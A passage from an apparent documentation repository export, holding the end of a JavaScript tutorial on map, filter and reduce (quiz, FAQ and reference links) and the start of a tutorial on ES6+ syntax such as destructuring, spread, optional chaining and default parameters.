number is \"valid\" via async operation\nasync function isValid(n) {\n  // Imagine this calls an API\n  return n % 2 === 0\n}\n\n// ❌ WRONG: filter doesn't await\nconst evens = numbers.filter(async (n) => await isValid(n))\nconsole.log(evens)  // [1, 2, 3, 4, 5] — all items! (Promises are truthy)\n\n// ✓ CORRECT: Map to booleans first, then filter\nconst checks = await Promise.all(numbers.map(n => isValid(n)))\nconst evens2 = numbers.filter((_, index) => checks[index])\nconsole.log(evens2)  // [2, 4]\n```\n\n<Tip>\n**For sequential async operations** (when order matters or you need to limit concurrency), use a `for...of` loop instead of map. Array methods run all callbacks immediately in parallel.\n</Tip>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **map() transforms every element** — Input array length equals output array length. Use it to change each item in the same way.\n\n2. **filter() keeps matching elements** — Returns 0 to all elements. Use it to remove items that don't pass a test.\n\n3. **reduce() combines into one value** — Can return any type: number, string, object, array. The \"Swiss Army knife\" of array methods.\n\n4. **None of these mutate the original array** — They always return something new. This makes your code predictable.\n\n5. **Always provide reduce()'s initial value** — Empty arrays without an initial value crash. Don't risk it.\n\n6. **Chain methods for powerful pipelines** — filter → map → reduce is a common pattern for data processing.\n\n7. **map() must return something** — Forgetting the return statement gives you an array of undefined.\n\n8. **Don't use map() for side effects** — Use forEach() if you just want to do something with each element.\n\n9. **Use find() for single item lookup** — It's more efficient than filter()[0] because it stops at the first match.\n\n10. **Async callbacks need Promise.all()** — map/filter/reduce don't wait for async callbacks. Wrap in Promise.all() to resolve them.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What does map() return if the callback doesn't return anything?\">\n    **Answer:**\n    \n    An array of `undefined` values. In JavaScript, functions without an explicit return statement return `undefined`.\n    \n    ```javascript\n    const numbers = [1, 2, 3]\n    \n    // Missing return\n    const result = numbers.map(n => {\n      n * 2  // No return!\n    })\n    \n    console.log(result)  // [undefined, undefined, undefined]\n    ```\n    \n    Always remember to return a value from your map callback, or use implicit return (arrow function without curly braces).\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What's the difference between filter() and find()?\">\n    **Answer:**\n    \n    - **filter()** returns an **array** of all matching elements (could be empty)\n    - **find()** returns the **first matching element** (or undefined if none)\n    \n    ```javascript\n    const numbers = [1, 2, 3, 4, 5, 6]\n    \n    numbers.filter(n => n % 2 === 0)  // [2, 4, 6] — All matches\n    numbers.find(n => n % 2 === 0)    // 2 — First match only\n    ```\n    \n    Use `find()` when you only need one result. It's more efficient because it stops searching after the first match.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Why does reduce() crash on empty arrays without an initial value?\">\n    **Answer:**\n    \n    Without an initial value, reduce uses the first element as the starting accumulator. If the array is empty, there's no first element, so JavaScript throws a TypeError.\n    \n    ```javascript\n    // No initial value + empty array = crash\n    [].reduce((acc, n) => acc + n)\n    // TypeError: Reduce of empty array with no initial value\n    \n    // With initial value, empty array returns the initial value\n    [].reduce((acc, n) => acc + n, 0)  // 0\n    ```\n    \n    Always provide an initial value to prevent crashes and make your intent clear.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What's wrong with this code?\">\n    ```javascript\n    const doubled = numbers.map(n => { n * 2 })\n    ```\n    \n    **Answer:**\n    \n    The curly braces `{}` create a function body, which requires an explicit `return` statement. Without it, the function returns `undefined`.\n    \n    ```javascript\n    // ❌ Wrong (returns undefined)\n    const doubled = numbers.map(n => { n * 2 })\n    \n    // ✓ Correct (explicit return)\n    const doubled = numbers.map(n => { return n * 2 })\n    \n    // ✓ Correct (implicit return, no braces)\n    const doubled = numbers.map(n => n * 2)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: How would you get the total price of in-stock items?\">\n    ```javascript\n    const products = [\n      { name: 'Laptop', price: 1000, inStock: true },\n      { name: 'Phone', price: 500, inStock: false },\n      { name: 'Tablet', price: 300, inStock: true }\n    ]\n    ```\n    \n    **Answer:**\n    \n    Chain filter → map → reduce:\n    \n    ```javascript\n    const total = products\n      .filter(p => p.inStock)           // Keep only in-stock\n      .map(p => p.price)                // Extract prices\n      .reduce((sum, p) => sum + p, 0)   // Sum them\n    \n    console.log(total)  // 1300\n    \n    // Or combine map and reduce:\n    const total2 = products\n      .filter(p => p.inStock)\n      .reduce((sum, p) => sum + p.price, 0)\n    \n    console.log(total2)  // 1300\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What's the output of this code?\">\n    ```javascript\n    const result = [1, 2, 3, 4, 5]\n      .filter(n => n % 2 === 0)\n      .map(n => n * 3)\n      .reduce((sum, n) => sum + n, 0)\n    \n    console.log(result)\n    ```\n    \n    **Answer:**\n    \n    **18**\n    \n    Let's trace through:\n    1. `filter(n => n % 2 === 0)` keeps even numbers: `[2, 4]`\n    2. `map(n => n * 3)` triples each: `[6, 12]`\n    3. `reduce((sum, n) => sum + n, 0)` sums them: `0 + 6 + 12 = 18`\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the difference between map() and forEach() in JavaScript?\">\n    `map()` transforms each element and returns a new array. `forEach()` executes a function on each element but returns `undefined`. Use `map()` when you need the transformed result; use `forEach()` when you only need side effects like logging. As [MDN notes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach), `forEach()` always returns `undefined` and is not chainable.\n  </Accordion>\n\n  <Accordion title=\"Does map() mutate the original array?\">\n    No. `map()`, `filter()`, and `reduce()` all return new values without modifying the original array. This non-mutating behavior makes them ideal for functional programming patterns. However, if your callback modifies objects within the array, those mutations will affect the originals since objects are passed by reference.\n  </Accordion>\n\n  <Accordion title=\"When should I use reduce() instead of a for loop?\">\n    Use `reduce()` when you need to accumulate array elements into a single value — sums, counts, grouped objects, or flattened arrays. For simple aggregations, `reduce()` is more concise. For complex logic with multiple steps, a `for` loop can be more readable. The [MDN reduce documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) provides detailed examples for both simple and advanced use cases.\n  </Accordion>\n\n  <Accordion title=\"Can I chain map(), filter(), and reduce() together?\">\n    Yes. Because `map()` and `filter()` return arrays, you can chain them: `arr.filter(...).map(...).reduce(...)`. Each method processes the result of the previous one. This chaining pattern creates readable data pipelines, though be mindful that each method creates an intermediate array.\n  </Accordion>\n\n  <Accordion title=\"What happens if I forget the initial value in reduce()?\">\n    If the array has elements, `reduce()` uses the first element as the initial accumulator and starts iteration from the second element. If the array is empty, it throws a `TypeError`. The [ECMAScript specification](https://tc39.es/ecma262/#sec-array.prototype.reduce) requires this behavior. Always provide an initial value to avoid unexpected crashes.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Higher-Order Functions\" icon=\"layer-group\" href=\"/concepts/higher-order-functions\">\n    map, filter, and reduce are all higher-order functions that take callbacks\n  </Card>\n  <Card title=\"Pure Functions\" icon=\"flask\" href=\"/concepts/pure-functions\">\n    Why these methods don't mutate and how immutability makes code predictable\n  </Card>\n  <Card title=\"Callbacks\" icon=\"phone\" href=\"/concepts/callbacks\">\n    The callback pattern that powers these array methods\n  </Card>\n  <Card title=\"Recursion\" icon=\"rotate\" href=\"/concepts/recursion\">\n    An alternative approach to processing arrays with function calls\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Array.prototype.map() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map\">\n    Complete documentation for the map method\n  </Card>\n  <Card title=\"Array.prototype.filter() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter\">\n    Complete documentation for the filter method\n  </Card>\n  <Card title=\"Array.prototype.reduce() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce\">\n    Complete documentation for the reduce method\n  </Card>\n  <Card title=\"Array — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array\">\n    Overview of all array methods in JavaScript\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Array Methods — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/array-methods\">\n    Comprehensive reference covering all array methods with interactive examples. Includes a visual diagram for reduce and 13 practice tasks with solutions.\n  </Card>\n  <Card title=\"An Illustrated Guide to Map, Reduce, and Filter\" icon=\"newspaper\" href=\"https://css-tricks.com/an-illustrated-and-musical-guide-to-map-reduce-and-filter-array-methods/\">\n    Hand-drawn illustrations make these concepts stick. Filter as a strainer, reduce as cooking sauce. Even includes a song to help you remember!\n  </Card>\n  <Card title=\"Map, Reduce, and Filter Explained with Examples\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/javascript-map-reduce-and-filter-explained-with-examples/\">\n    Concise, beginner-friendly introduction with clean code examples. Gets straight to practical usage without overwhelming theory.\n  </Card>\n  <Card title=\"Differences Between forEach and map\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/4-main-differences-between-foreach-and-map/\">\n    Explains the 4 key differences with side-by-side comparisons. Includes performance testing code you can run yourself.\n  </Card>\n  <Card title=\"Simplify Your JavaScript with map, reduce, filter\" icon=\"newspaper\" href=\"https://medium.com/poka-techblog/simplify-your-javascript-use-map-reduce-and-filter-bd02c593cc2d\">\n    Star Wars themed examples make learning fun. Excellent section on method chaining and building elegant data pipelines.\n  </Card>\n  <Card title=\"How to Write Your Own map, filter, reduce\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/how-to-write-your-own-map-filter-and-reduce-functions-in-javascript-ab1e35679d26/\">\n    Build these methods from scratch to understand how they work internally. Great for interview prep and deepening your knowledge.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Higher-order Functions\" icon=\"video\" href=\"https://www.youtube.com/watch?v=BMUiFMZr7vk\">\n    Fun Fun Function's legendary intro to functional programming. Mattias explains the mental model that makes map, filter, reduce click.\n  </Card>\n  <Card title=\"Reduce Basics\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Wl98eZpkp-c\">\n    The hardest method gets its own deep-dive. Clear accumulator examples that finally make reduce make sense.\n  </Card>\n  <Card title=\"Higher Order Functions & Arrays\" icon=\"video\" href=\"https://www.youtube.com/watch?v=rRgD1yVwIvE\">\n    Traversy Media's complete crash course with live coding. Covers forEach, map, filter, reduce, sort, and find in one session.\n  </Card>\n  <Card title=\"8 Must Know JavaScript Array Methods\" icon=\"video\" href=\"https://www.youtube.com/watch?v=R8rmfD9Y5-c\">\n    Web Dev Simplified covers the most useful methods in 12 focused minutes. Perfect for a quick refresher on when to use what.\n  </Card>\n  <Card title=\"Map, Filter & Reduce — Namaste JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=zdp0zrpKzIE\">\n    Akshay Saini's interview-prep deep-dive. Includes polyfill implementations and common interview questions about these methods.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/modern-js-syntax.mdx",
    "content": "---\ntitle: \"Modern JS Syntax (ES6+)\"\nsidebarTitle: \"Modern JavaScript Syntax: ES6+ Features\"\ndescription: \"Learn ES6+ JavaScript syntax: destructuring, spread/rest, arrow functions, optional chaining, nullish coalescing, and template literals.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Advanced Topics\"\n\"article:tag\": \"ES6 syntax, destructuring, spread operator, arrow functions, optional chaining, template literals\"\n---\n\nWhy does JavaScript code written in 2015 look so different from code written today? How do developers write such concise, readable code without all the boilerplate?\n\n```javascript\n// The old way (pre-ES6)\nvar city = user && user.address && user.address.city;  // undefined if missing\nvar copy = arr.slice();\nvar merged = Object.assign({}, obj1, obj2);\n\n// The modern way\nconst city = user?.address?.city;  // undefined if missing\nconst copy = [...arr];\nconst merged = { ...obj1, ...obj2 };\n```\n\nThe answer is **ES6 (ECMAScript 2015)** and the yearly updates that followed. These additions didn't just add features. They transformed how we write JavaScript. Features like [destructuring](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment), [arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions), and [optional chaining](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining) are now everywhere: in tutorials, open-source projects, and job interviews. According to the [State of JS 2023 survey](https://2023.stateofjs.com/), features like destructuring and arrow functions have reached near-universal adoption, with over 95% of respondents using them regularly.\n\n<Info>\n**What you'll learn in this guide:**\n- Arrow functions and how they handle `this` differently\n- Destructuring objects and arrays to extract values cleanly\n- Spread operator (`...`) for copying and merging\n- Rest parameters for collecting function arguments\n- Template literals for string interpolation\n- Optional chaining (`?.`) to avoid \"cannot read property of undefined\"\n- Nullish coalescing (`??`) vs logical OR (`||`)\n- Logical assignment operators (`??=`, `||=`, `&&=`)\n- Default parameters for functions\n- Enhanced object literals (shorthand syntax)\n- Map, Set, and Symbol basics\n- The `for...of` loop for iterating values\n</Info>\n\n<Warning>\n**Prerequisite:** This guide touches on `let`, `const`, and `var` briefly. For a deep dive into how they differ (block scope, hoisting, temporal dead zone), read our [Scope and Closures](/concepts/scope-and-closures) guide first.\n</Warning>\n\n---\n\n## A Quick Note on let, const, and var\n\nBefore ES6, `var` was the only way to declare variables. Now we have `let` and `const`, which were introduced in the [ECMAScript 2015 specification](https://tc39.es/ecma262/#sec-let-and-const-declarations) and behave differently:\n\n| Feature | `var` | `let` | `const` |\n|---------|-------|-------|---------|\n| Scope | Function | Block | Block |\n| Hoisting | Yes (undefined) | Yes (TDZ) | Yes (TDZ) |\n| Redeclaration | Allowed | Error | Error |\n| Reassignment | Allowed | Allowed | Error |\n\n```javascript\n// var is function-scoped (can cause bugs)\nfor (var i = 0; i < 3; i++) {\n  setTimeout(() => console.log(i), 100);\n}\n// Output: 3, 3, 3\n\n// let is block-scoped (each iteration gets its own i)\nfor (let i = 0; i < 3; i++) {\n  setTimeout(() => console.log(i), 100);\n}\n// Output: 0, 1, 2\n```\n\n**The modern rule:** Use `const` by default. Use `let` when you need to reassign. Avoid `var`.\n\nFor the full explanation of scope, hoisting, and the temporal dead zone, see [Scope and Closures](/concepts/scope-and-closures).\n\n---\n\n## Arrow Functions\n\n[Arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) provide a shorter syntax for writing functions. But the real difference is how they handle `this`. As [MDN documents](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions), arrow functions do not have their own `this`, `arguments`, `super`, or `new.target` bindings — they inherit these from the enclosing lexical scope.\n\n### The Syntax\n\n```javascript\n// Traditional function\nfunction add(a, b) {\n  return a + b;\n}\n\n// Arrow function variations\nconst add = (a, b) => a + b;              // Implicit return (single expression)\nconst add = (a, b) => { return a + b; };  // Block body (explicit return needed)\nconst square = x => x * x;                // Single param: parentheses optional\nconst greet = () => 'Hello!';             // No params: parentheses required\n```\n\n### Arrow Functions and `this`\n\nHere's the big difference: arrow functions don't have their own `this`. They inherit `this` from the surrounding code (lexical scope).\n\n```javascript\n// Problem with regular functions\nconst counter = {\n  count: 0,\n  start: function() {\n    setInterval(function() {\n      this.count++;  // 'this' is NOT the counter object!\n      console.log(this.count);\n    }, 1000);\n  }\n};\ncounter.start();  // NaN, NaN, NaN...\n\n// Solution with arrow functions\nconst counter = {\n  count: 0,\n  start: function() {\n    setInterval(() => {\n      this.count++;  // 'this' IS the counter object\n      console.log(this.count);\n    }, 1000);\n  }\n};\ncounter.start();  // 1, 2, 3...\n```\n\nFor a complete exploration of `this` binding rules, see [this, call, apply and bind](/concepts/this-call-apply-bind).\n\n### When NOT to Use Arrow Functions\n\nArrow functions aren't always the right choice:\n\n```javascript\n// ❌ DON'T use as object methods\nconst user = {\n  name: 'Alice',\n  greet: () => {\n    console.log(`Hi, I'm ${this.name}`);  // 'this' is NOT user!\n  }\n};\nuser.greet();  // \"Hi, I'm undefined\"\n\n// ✓ USE regular function for methods\nconst user = {\n  name: 'Alice',\n  greet() {\n    console.log(`Hi, I'm ${this.name}`);\n  }\n};\nuser.greet();  // \"Hi, I'm Alice\"\n\n// ❌ DON'T use as constructors\nconst Person = (name) => { this.name = name; };\nnew Person('Alice');  // TypeError: Person is not a constructor\n\n// ❌ Arrow functions don't have their own 'arguments'\nconst logArgs = () => console.log(arguments);  // ReferenceError (use ...rest instead)\n```\n\n### The Object Literal Trap\n\nReturning an object literal requires parentheses:\n\n```javascript\n// ❌ WRONG - curly braces are interpreted as function body\nconst createUser = name => { name: name };\nconsole.log(createUser('Alice'));  // undefined (it's a labeled statement!)\n\n// ❌ ALSO WRONG - adding more properties causes a SyntaxError\n// const createUser = name => { name: name, active: true };  // SyntaxError!\n\n// ✓ CORRECT - wrap object literal in parentheses\nconst createUser = name => ({ name: name, active: true });\nconsole.log(createUser('Alice'));  // { name: 'Alice', active: true }\n```\n\n---\n\n## Destructuring Assignment\n\n[Destructuring](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment) lets you unpack values from arrays or properties from objects into distinct variables.\n\n### Array Destructuring\n\n```javascript\nconst colors = ['red', 'green', 'blue'];\n\n// Basic destructuring\nconst [first, second, third] = colors;\nconsole.log(first);   // \"red\"\nconsole.log(second);  // \"green\"\n\n// Skip elements with empty slots\nconst [primary, , tertiary] = colors;\nconsole.log(tertiary);  // \"blue\"\n\n// Default values\nconst [a, b, c, d = 'yellow'] = colors;\nconsole.log(d);  // \"yellow\"\n\n// Rest pattern (collect remaining elements)\nconst [head, ...tail] = colors;\nconsole.log(head);  // \"red\"\nconsole.log(tail);  // [\"green\", \"blue\"]\n```\n\n**Swap variables without a temp:**\n\n```javascript\nlet x = 1;\nlet y = 2;\n\n[x, y] = [y, x];\n\nconsole.log(x);  // 2\nconsole.log(y);  // 1\n```\n\n### Object Destructuring\n\n```javascript\nconst user = {\n  name: 'Alice',\n  age: 25,\n  address: {\n    city: 'Portland',\n    country: 'USA'\n  }\n};\n\n// Basic destructuring\nconst { name, age } = user;\nconsole.log(name);  // \"Alice\"\n\n// Rename variables\nconst { name: userName, age: userAge } = user;\nconsole.log(userName);  // \"Alice\"\n\n// Default values\nconst { name, role = 'guest' } = user;\nconsole.log(role);  // \"guest\"\n\n// Nested destructuring\nconst { address: { city } } = user;\nconsole.log(city);  // \"Portland\"\n\n// Rest pattern\nconst { name, ...rest } = user;\nconsole.log(rest);  // { age: 25, address: { city: 'Portland', country: 'USA' } }\n```\n\n### Destructuring in Function Parameters\n\nThis pattern is everywhere in modern JavaScript:\n\n```javascript\n// Without destructuring\nfunction createUser(options) {\n  const name = options.name;\n  const age = options.age || 18;\n  const role = options.role || 'user';\n  return { name, age, role };\n}\n\n// With destructuring\nfunction createUser({ name, age = 18, role = 'user' }) {\n  return { name, age, role };\n}\n\n// With default for the entire parameter (prevents error if called with no args)\nfunction greet({ name = 'Guest' } = {}) {\n  return `Hello, ${name}!`;\n}\n\ngreet();                  // \"Hello, Guest!\"\ngreet({ name: 'Alice' }); // \"Hello, Alice!\"\n```\n\n### Common Mistake: Destructuring to Existing Variables\n\n```javascript\nlet name, age;\n\n// ❌ WRONG - JavaScript thinks {} is a code block\n{ name, age } = user;  // SyntaxError\n\n// ✓ CORRECT - wrap in parentheses\n({ name, age } = user);\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    DESTRUCTURING VISUALIZED                              │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   ARRAY DESTRUCTURING                 OBJECT DESTRUCTURING               │\n│   ───────────────────                 ────────────────────               │\n│                                                                          │\n│   const [a, b, c] = [1, 2, 3]        const {x, y} = {x: 10, y: 20}      │\n│                                                                          │\n│   [1, 2, 3]                           { x: 10, y: 20 }                   │\n│    │  │  │                              │       │                        │\n│    │  │  └──► c = 3                     │       └──► y = 20              │\n│    │  └─────► b = 2                     └──────────► x = 10              │\n│    └────────► a = 1                                                      │\n│                                                                          │\n│   Position matters!                   Property name matters!             │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Spread and Rest Operators\n\nThe `...` syntax does two different things depending on context:\n\n| Context | Name | What It Does |\n|---------|------|--------------|\n| Function call, array/object literal | **Spread** | Expands an iterable into individual elements |\n| Function parameter, destructuring | **Rest** | Collects multiple elements into an array |\n\n### Spread Operator\n\n**Spreading arrays:**\n\n```javascript\nconst arr1 = [1, 2, 3];\nconst arr2 = [4, 5, 6];\n\n// Combine arrays\nconst combined = [...arr1, ...arr2];\nconsole.log(combined);  // [1, 2, 3, 4, 5, 6]\n\n// Copy an array\nconst copy = [...arr1];\nconsole.log(copy);  // [1, 2, 3]\n\n// Insert elements\nconst withMiddle = [0, ...arr1, 4];\nconsole.log(withMiddle);  // [0, 1, 2, 3, 4]\n\n// Pass array as function arguments\nconsole.log(Math.max(...arr1));  // 3\n```\n\n**Spreading objects:**\n\n```javascript\nconst defaults = { theme: 'light', fontSize: 14 };\nconst userPrefs = { theme: 'dark' };\n\n// Merge objects (later properties override earlier)\nconst settings = { ...defaults, ...userPrefs };\nconsole.log(settings);  // { theme: 'dark', fontSize: 14 }\n\n// Copy and update\nconst updated = { ...user, name: 'Bob' };\n\n// Copy an object (shallow!)\nconst copy = { ...original };\n```\n\n### Rest Parameters\n\n```javascript\n// Collect all arguments into an array\nfunction sum(...numbers) {\n  return numbers.reduce((total, n) => total + n, 0);\n}\nconsole.log(sum(1, 2, 3, 4));  // 10\n\n// Collect remaining arguments\nfunction logFirst(first, ...rest) {\n  console.log('First:', first);\n  console.log('Rest:', rest);\n}\nlogFirst('a', 'b', 'c', 'd');\n// First: a\n// Rest: ['b', 'c', 'd']\n```\n\n**Rest in destructuring:**\n\n```javascript\n// Arrays\nconst [first, second, ...others] = [1, 2, 3, 4, 5];\nconsole.log(others);  // [3, 4, 5]\n\n// Objects\nconst { id, ...otherProps } = { id: 1, name: 'Alice', age: 25 };\nconsole.log(otherProps);  // { name: 'Alice', age: 25 }\n```\n\n### The Shallow Copy Trap\n\nSpread creates **shallow copies**. Nested objects are still referenced:\n\n```javascript\nconst original = {\n  name: 'Alice',\n  address: { city: 'Portland' }\n};\n\nconst copy = { ...original };\n\n// Modifying nested object affects both!\ncopy.address.city = 'Seattle';\nconsole.log(original.address.city);  // \"Seattle\" — oops!\n\n// For deep copies, use structuredClone (modern) or JSON (with limitations)\nconst deepCopy = structuredClone(original);\n```\n\n---\n\n## Template Literals\n\n[Template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) use backticks (`` ` ``) instead of quotes and support string interpolation and multi-line strings.\n\n### Basic Interpolation\n\n```javascript\nconst name = 'Alice';\nconst age = 25;\n\n// Old way\nconst message = 'Hello, ' + name + '! You are ' + age + ' years old.';\n\n// Template literal\nconst message = `Hello, ${name}! You are ${age} years old.`;\n\n// Expressions work too\nconst price = 19.99;\nconst tax = 0.1;\nconst total = `Total: $${(price * (1 + tax)).toFixed(2)}`;\nconsole.log(total);  // \"Total: $21.99\"\n```\n\n### Multi-line Strings\n\n```javascript\n// Old way (awkward)\nconst html = '<div>\\n' +\n  '  <h1>Title</h1>\\n' +\n  '  <p>Content</p>\\n' +\n  '</div>';\n\n// Template literal (natural)\nconst html = `\n  <div>\n    <h1>${title}</h1>\n    <p>${content}</p>\n  </div>\n`;\n```\n\n### Tagged Templates\n\nTagged templates let you process template literals with a function:\n\n```javascript\nfunction highlight(strings, ...values) {\n  return strings.reduce((result, str, i) => {\n    const value = values[i] ? `<mark>${values[i]}</mark>` : '';\n    return result + str + value;\n  }, '');\n}\n\nconst query = 'JavaScript';\nconst count = 42;\n\nconst result = highlight`Found ${count} results for ${query}`;\nconsole.log(result);\n// \"Found <mark>42</mark> results for <mark>JavaScript</mark>\"\n```\n\nTagged templates power libraries like [styled-components](https://styled-components.com/) (CSS-in-JS) and [GraphQL](https://graphql.org/) query builders.\n\n---\n\n## Optional Chaining (`?.`)\n\n[Optional chaining](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining) lets you safely access nested properties without checking each level for null or undefined.\n\n### The Problem It Solves\n\n```javascript\nconst user = {\n  name: 'Alice',\n  // address is undefined\n};\n\n// Old way (verbose and error-prone)\nconst city = user && user.address && user.address.city;\n\n// Old way (slightly better)\nconst city = user.address ? user.address.city : undefined;\n\n// Modern way\nconst city = user?.address?.city;  // undefined (no error!)\n```\n\n### Three Syntax Forms\n\n```javascript\n// Property access\nconst city = user?.address?.city;\n\n// Bracket notation (for dynamic keys)\nconst prop = 'address';\nconst value = user?.[prop]?.city;\n\n// Function calls (only call if function exists)\nconst result = user?.getName?.();\n```\n\n### Short-Circuit Behavior\n\nWhen the left side is `null` or `undefined`, evaluation stops immediately and returns `undefined`:\n\n```javascript\nconst user = null;\n\n// Without optional chaining\nuser.address.city;  // TypeError: Cannot read property 'address' of null\n\n// With optional chaining\nuser?.address?.city;  // undefined (evaluation stops at user)\n```\n\n### Don't Overuse It\n\n```javascript\n// ❌ BAD - if user should always exist, you're hiding bugs\nfunction processUser(user) {\n  return user?.name?.toUpperCase();  // Silently returns undefined\n}\n\n// ✓ GOOD - fail fast when data is invalid\nfunction processUser(user) {\n  if (!user) throw new Error('User is required');\n  return user.name.toUpperCase();\n}\n\n// ✓ GOOD - use when null/undefined is a valid possibility\nconst displayName = apiResponse?.data?.user?.displayName ?? 'Anonymous';\n```\n\n---\n\n## Nullish Coalescing (`??`)\n\nThe [nullish coalescing operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing) returns the right-hand side when the left-hand side is `null` or `undefined`. This is different from `||`, which returns the right-hand side for any falsy value.\n\n### `??` vs `||`\n\n| Value | `value \\|\\| 'default'` | `value ?? 'default'` |\n|-------|----------------------|---------------------|\n| `null` | `'default'` | `'default'` |\n| `undefined` | `'default'` | `'default'` |\n| `0` | `'default'` | `0` |\n| `''` | `'default'` | `''` |\n| `false` | `'default'` | `false` |\n| `NaN` | `'default'` | `NaN` |\n\n```javascript\n// Problem with ||\nconst count = response.count || 10;\n// If response.count is 0, this incorrectly returns 10!\n\n// Solution with ??\nconst count = response.count ?? 10;\n// Only returns 10 if count is null or undefined\n// Returns 0 if count is 0 (which is what we want)\n\n// Common use cases\nconst port = process.env.PORT ?? 3000;\nconst username = inputValue ?? 'guest';\nconst timeout = options.timeout ?? 5000;\n```\n\n### Combining with Optional Chaining\n\nThese two operators work great together:\n\n```javascript\nconst city = user?.address?.city ?? 'Unknown';\nconst count = response?.data?.items?.length ?? 0;\n```\n\n### Logical Assignment Operators\n\nES2021 added assignment versions of logical operators:\n\n```javascript\n// Nullish coalescing assignment\nuser.name ??= 'Anonymous';\n// Only assigns if user.name is null or undefined\n// (short-circuits: skips assignment if value already exists)\n\n// Logical OR assignment\noptions.debug ||= false;\n// Only assigns if options.debug is falsy\n\n// Logical AND assignment\nuser.lastLogin &&= new Date();\n// Only assigns if user.lastLogin is truthy\n```\n\n```javascript\n// Practical example: initializing config\nfunction configure(options = {}) {\n  options.retries ??= 3;\n  options.timeout ??= 5000;\n  options.cache ??= true;\n  return options;\n}\n\nconfigure({});                    // { retries: 3, timeout: 5000, cache: true }\nconfigure({ retries: 0 });        // { retries: 0, timeout: 5000, cache: true }\nconfigure({ timeout: null });     // { retries: 3, timeout: 5000, cache: true }\n```\n\n---\n\n## Default Parameters\n\n[Default parameters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters) let you specify fallback values for function arguments.\n\n```javascript\n// Old way\nfunction greet(name, greeting) {\n  name = name || 'Guest';\n  greeting = greeting || 'Hello';\n  return `${greeting}, ${name}!`;\n}\n\n// Modern way\nfunction greet(name = 'Guest', greeting = 'Hello') {\n  return `${greeting}, ${name}!`;\n}\n\ngreet();                    // \"Hello, Guest!\"\ngreet('Alice');             // \"Hello, Alice!\"\ngreet('Alice', 'Hi');       // \"Hi, Alice!\"\n```\n\n### Only `undefined` Triggers Defaults\n\n```javascript\nfunction example(value = 'default') {\n  return value;\n}\n\nexample(undefined);  // \"default\"\nexample(null);       // null (NOT \"default\"!)\nexample(0);          // 0\nexample('');         // ''\nexample(false);      // false\n```\n\n### Defaults Can Reference Earlier Parameters\n\n```javascript\nfunction createRect(width, height = width) {\n  return { width, height };\n}\n\ncreateRect(10);       // { width: 10, height: 10 }\ncreateRect(10, 20);   // { width: 10, height: 20 }\n```\n\n### Defaults Can Be Expressions\n\n```javascript\nfunction createId(prefix = 'id', timestamp = Date.now()) {\n  return `${prefix}_${timestamp}`;\n}\n\n// Date.now() is called each time (not once at definition)\ncreateId();  // \"id_1704067200000\"\ncreateId();  // \"id_1704067200001\" (different!)\n```\n\n---\n\n## Enhanced Object Literals\n\nES6 added several shortcuts for creating objects.\n\n### Property Shorthand\n\nWhen the property name matches the variable name:\n\n```javascript\nconst name = 'Alice';\nconst age = 25;\n\n// Old way\nconst user = { name: name, age: age };\n\n// Shorthand\nconst user = { name, age };\nconsole.log(user);  // { name: 'Alice', age: 25 }\n```\n\n### Method Shorthand\n\n```javascript\n// Old way\nconst calculator = {\n  add: function(a, b) {\n    return a + b;\n  }\n};\n\n// Shorthand\nconst calculator = {\n  add(a, b) {\n    return a + b;\n  },\n  \n  // Works with async too\n  async fetchData(url) {\n    const response = await fetch(url);\n    return response.json();\n  }\n};\n```\n\n### Computed Property Names\n\nUse expressions as property names:\n\n```javascript\nconst key = 